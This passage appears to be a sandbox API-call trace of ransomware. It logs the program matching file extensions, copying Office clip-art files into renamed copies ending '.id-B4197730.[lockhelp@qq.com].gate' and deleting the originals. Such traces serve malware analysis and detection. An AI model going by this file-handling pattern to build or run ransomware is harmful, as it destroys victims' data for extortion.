lpString2=".WMF") returned -1 [0321.835] lstrlenW (lpString=".xls") returned 4 [0321.835] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0321.836] lstrlenW (lpString=".xlsx") returned 5 [0321.836] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0321.836] lstrlenW (lpString=".ppt") returned 4 [0321.836] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0321.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 68 [0321.836] lstrlenW (lpString=".zip") returned 4 [0321.836] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0321.836] lstrlenW (lpString=".rar") returned 4 [0321.836] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0321.836] lstrlenW (lpString=".bz2") returned 4 [0321.836] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0321.836] lstrlenW (lpString=".7z") returned 3 [0321.836] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0321.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 68 [0321.836] lstrlenW (lpString=".dbf") returned 4 [0321.836] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0321.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 68 [0321.836] lstrlenW (lpString=".1cd") returned 4 [0321.836] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0321.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 68 [0321.836] lstrlenW (lpString=".jpg") returned 4 [0321.836] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0321.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 68 [0321.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 68 [0321.836] lstrlenW (lpString=".doc") returned 4 [0321.836] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0321.836] lstrlenW (lpString=".docx") returned 5 [0321.836] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0321.836] lstrlenW (lpString=".pdf") returned 4 [0321.836] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0321.836] lstrlenW (lpString=".xls") returned 4 [0321.837] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0321.837] lstrlenW (lpString=".xlsx") returned 5 [0321.837] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0321.837] lstrlenW (lpString=".ppt") returned 4 [0321.837] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0321.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 68 [0321.837] lstrlenW (lpString=".zip") returned 4 [0321.837] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0321.837] lstrlenW (lpString=".rar") returned 4 [0321.837] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0321.837] lstrlenW (lpString=".bz2") returned 4 [0321.837] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0321.837] lstrlenW (lpString=".7z") returned 3 [0321.837] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0321.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 68 [0321.837] lstrlenW (lpString=".dbf") returned 4 [0321.837] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0321.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 68 [0321.837] lstrlenW (lpString=".1cd") returned 4 [0321.837] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0321.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 68 [0321.837] lstrlenW (lpString=".jpg") returned 4 [0321.837] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0321.837] lstrcmpiW (lpString1=".WMF", lpString2=".gate") returned 1 [0321.837] lstrlenW (lpString="BD09662_.WMF") returned 12 [0321.837] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09662_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0321.838] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=20554) returned 1 [0321.838] CloseHandle (hObject=0x340) returned 1 [0321.838] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09662_.wmf")) returned 0x220 [0321.838] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09662_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0321.838] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09662_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0321.838] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0321.838] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0321.838] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09662_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0321.838] GetLastError () returned 0x0 [0321.838] ReadFile (in: hFile=0x340, lpBuffer=0x3e4c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e4c020*, lpNumberOfBytesRead=0x328fecc*=0x504a, lpOverlapped=0x0) returned 1 [0321.839] WriteFile (in: hFile=0x344, lpBuffer=0x3e4c020*, nNumberOfBytesToWrite=0x5050, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e4c020*, lpNumberOfBytesWritten=0x328fc94*=0x5050, lpOverlapped=0x0) returned 1 [0321.841] ReadFile (in: hFile=0x340, lpBuffer=0x3e4c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e4c020*, lpNumberOfBytesRead=0x328fecc*=0x0, lpOverlapped=0x0) returned 1 [0321.841] WriteFile (in: hFile=0x344, lpBuffer=0x3e4c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e4c020*, lpNumberOfBytesWritten=0x328fc94*=0xec, lpOverlapped=0x0) returned 1 [0321.841] SetEndOfFile (hFile=0x344) returned 1 [0321.841] CloseHandle (hObject=0x344) returned 1 [0321.841] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0321.841] SetEndOfFile (hFile=0x340) returned 1 [0321.842] CloseHandle (hObject=0x340) returned 1 [0321.842] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0321.842] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09662_.wmf")) returned 1 [0321.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 68 [0321.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 68 [0321.842] lstrlenW (lpString=".doc") returned 4 [0321.842] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0321.842] lstrlenW (lpString=".docx") returned 5 [0321.843] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0321.843] lstrlenW (lpString=".pdf") returned 4 [0321.843] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0321.843] lstrlenW (lpString=".xls") returned 4 [0321.843] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0321.843] lstrlenW (lpString=".xlsx") returned 5 [0321.843] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0321.843] lstrlenW (lpString=".ppt") returned 4 [0321.843] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0321.843] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 68 [0321.843] lstrlenW (lpString=".zip") returned 4 [0321.843] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0321.843] lstrlenW (lpString=".rar") returned 4 [0321.843] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0321.843] lstrlenW (lpString=".bz2") returned 4 [0321.843] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0321.843] lstrlenW (lpString=".7z") returned 3 [0321.843] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0321.843] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 68 [0321.843] lstrlenW (lpString=".dbf") returned 4 [0321.843] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0321.843] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 68 [0321.843] lstrlenW (lpString=".1cd") returned 4 [0321.843] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0321.843] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 68 [0321.843] lstrlenW (lpString=".jpg") returned 4 [0321.843] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0321.843] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 68 [0321.843] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 68 [0321.843] lstrlenW (lpString=".doc") returned 4 [0321.843] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0321.843] lstrlenW (lpString=".docx") returned 5 [0321.843] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0321.843] lstrlenW (lpString=".pdf") returned 4 [0321.844] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0321.844] lstrlenW (lpString=".xls") returned 4 [0321.844] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0321.844] lstrlenW (lpString=".xlsx") returned 5 [0321.844] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0321.844] lstrlenW (lpString=".ppt") returned 4 [0321.844] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0321.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 68 [0321.844] lstrlenW (lpString=".zip") returned 4 [0321.844] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0321.844] lstrlenW (lpString=".rar") returned 4 [0321.844] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0321.844] lstrlenW (lpString=".bz2") returned 4 [0321.844] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0321.844] lstrlenW (lpString=".7z") returned 3 [0321.844] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0321.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 68 [0321.844] lstrlenW (lpString=".dbf") returned 4 [0321.844] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0321.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 68 [0321.844] lstrlenW (lpString=".1cd") returned 4 [0321.844] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0321.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 68 [0321.844] lstrlenW (lpString=".jpg") returned 4 [0321.844] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0321.844] lstrcmpiW (lpString1=".WMF", lpString2=".gate") returned 1 [0321.844] lstrlenW (lpString="BD09664_.WMF") returned 12 [0321.844] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09664_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0321.845] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=7966) returned 1 [0321.845] CloseHandle (hObject=0x340) returned 1 [0321.845] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09664_.wmf")) returned 0x220 [0321.845] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09664_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0321.845] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09664_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0321.845] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0321.845] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0321.845] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09664_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0321.845] GetLastError () returned 0x0 [0321.845] ReadFile (in: hFile=0x340, lpBuffer=0x3e4c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e4c020*, lpNumberOfBytesRead=0x328fecc*=0x1f1e, lpOverlapped=0x0) returned 1 [0321.846] WriteFile (in: hFile=0x344, lpBuffer=0x3e4c020*, nNumberOfBytesToWrite=0x1f20, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e4c020*, lpNumberOfBytesWritten=0x328fc94*=0x1f20, lpOverlapped=0x0) returned 1 [0321.847] ReadFile (in: hFile=0x340, lpBuffer=0x3e4c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e4c020*, lpNumberOfBytesRead=0x328fecc*=0x0, lpOverlapped=0x0) returned 1 [0321.847] WriteFile (in: hFile=0x344, lpBuffer=0x3e4c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e4c020*, lpNumberOfBytesWritten=0x328fc94*=0xec, lpOverlapped=0x0) returned 1 [0321.848] SetEndOfFile (hFile=0x344) returned 1 [0321.848] CloseHandle (hObject=0x344) returned 1 [0321.848] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0321.848] SetEndOfFile (hFile=0x340) returned 1 [0321.849] CloseHandle (hObject=0x340) returned 1 [0321.849] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0321.849] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09664_.wmf")) returned 1 [0321.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 68 [0321.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 68 [0321.849] lstrlenW (lpString=".doc") returned 4 [0321.849] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0321.849] lstrlenW (lpString=".docx") returned 5 [0321.849] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0321.849] lstrlenW (lpString=".pdf") returned 4 [0321.849] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0321.849] lstrlenW (lpString=".xls") returned 4 [0321.849] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0321.849] lstrlenW (lpString=".xlsx") returned 5 [0321.849] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0321.849] lstrlenW (lpString=".ppt") returned 4 [0321.849] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0321.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 68 [0321.850] lstrlenW (lpString=".zip") returned 4 [0321.850] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0321.850] lstrlenW (lpString=".rar") returned 4 [0321.850] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0321.850] lstrlenW (lpString=".bz2") returned 4 [0321.850] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0321.850] lstrlenW (lpString=".7z") returned 3 [0321.850] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0321.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 68 [0321.850] lstrlenW (lpString=".dbf") returned 4 [0321.850] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0321.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 68 [0321.850] lstrlenW (lpString=".1cd") returned 4 [0321.850] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0321.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 68 [0321.850] lstrlenW (lpString=".jpg") returned 4 [0321.850] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0321.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 68 [0321.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 68 [0321.850] lstrlenW (lpString=".doc") returned 4 [0321.850] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0321.850] lstrlenW (lpString=".docx") returned 5 [0321.850] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0321.850] lstrlenW (lpString=".pdf") returned 4 [0321.850] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0321.850] lstrlenW (lpString=".xls") returned 4 [0321.850] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0321.850] lstrlenW (lpString=".xlsx") returned 5 [0321.850] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0321.850] lstrlenW (lpString=".ppt") returned 4 [0321.850] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0321.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 68 [0321.850] lstrlenW (lpString=".zip") returned 4 [0321.850] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0321.851] lstrlenW (lpString=".rar") returned 4 [0321.851] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0321.851] lstrlenW (lpString=".bz2") returned 4 [0321.851] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0321.851] lstrlenW (lpString=".7z") returned 3 [0321.851] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0321.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 68 [0321.851] lstrlenW (lpString=".dbf") returned 4 [0321.851] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0321.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 68 [0321.851] lstrlenW (lpString=".1cd") returned 4 [0321.851] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0321.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 68 [0321.851] lstrlenW (lpString=".jpg") returned 4 [0321.851] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0321.851] lstrcmpiW (lpString1=".GIF", lpString2=".gate") returned 1 [0321.851] lstrlenW (lpString="BD10890_.GIF") returned 12 [0321.851] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10890_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0321.852] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=13515) returned 1 [0321.852] CloseHandle (hObject=0x340) returned 1 [0321.852] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10890_.gif")) returned 0x220 [0321.852] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10890_.gif.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0321.852] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10890_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0321.852] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0321.852] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0321.853] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10890_.gif.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0321.853] GetLastError () returned 0x0 [0321.853] ReadFile (in: hFile=0x340, lpBuffer=0x3e4c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e4c020*, lpNumberOfBytesRead=0x328fecc*=0x34cb, lpOverlapped=0x0) returned 1 [0321.854] WriteFile (in: hFile=0x344, lpBuffer=0x3e4c020*, nNumberOfBytesToWrite=0x34d0, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e4c020*, lpNumberOfBytesWritten=0x328fc94*=0x34d0, lpOverlapped=0x0) returned 1 [0321.855] ReadFile (in: hFile=0x340, lpBuffer=0x3e4c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e4c020*, lpNumberOfBytesRead=0x328fecc*=0x0, lpOverlapped=0x0) returned 1 [0321.855] WriteFile (in: hFile=0x344, lpBuffer=0x3e4c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e4c020*, lpNumberOfBytesWritten=0x328fc94*=0xec, lpOverlapped=0x0) returned 1 [0321.855] SetEndOfFile (hFile=0x344) returned 1 [0321.855] CloseHandle (hObject=0x344) returned 1 [0321.855] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0321.855] SetEndOfFile (hFile=0x340) returned 1 [0321.856] CloseHandle (hObject=0x340) returned 1 [0321.856] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0321.856] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10890_.gif")) returned 1 [0321.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 68 [0321.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 68 [0321.857] lstrlenW (lpString=".doc") returned 4 [0321.857] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0321.857] lstrlenW (lpString=".docx") returned 5 [0321.857] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0321.857] lstrlenW (lpString=".pdf") returned 4 [0321.857] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0321.857] lstrlenW (lpString=".xls") returned 4 [0321.857] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0321.857] lstrlenW (lpString=".xlsx") returned 5 [0321.857] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0321.857] lstrlenW (lpString=".ppt") returned 4 [0321.857] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0321.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 68 [0321.857] lstrlenW 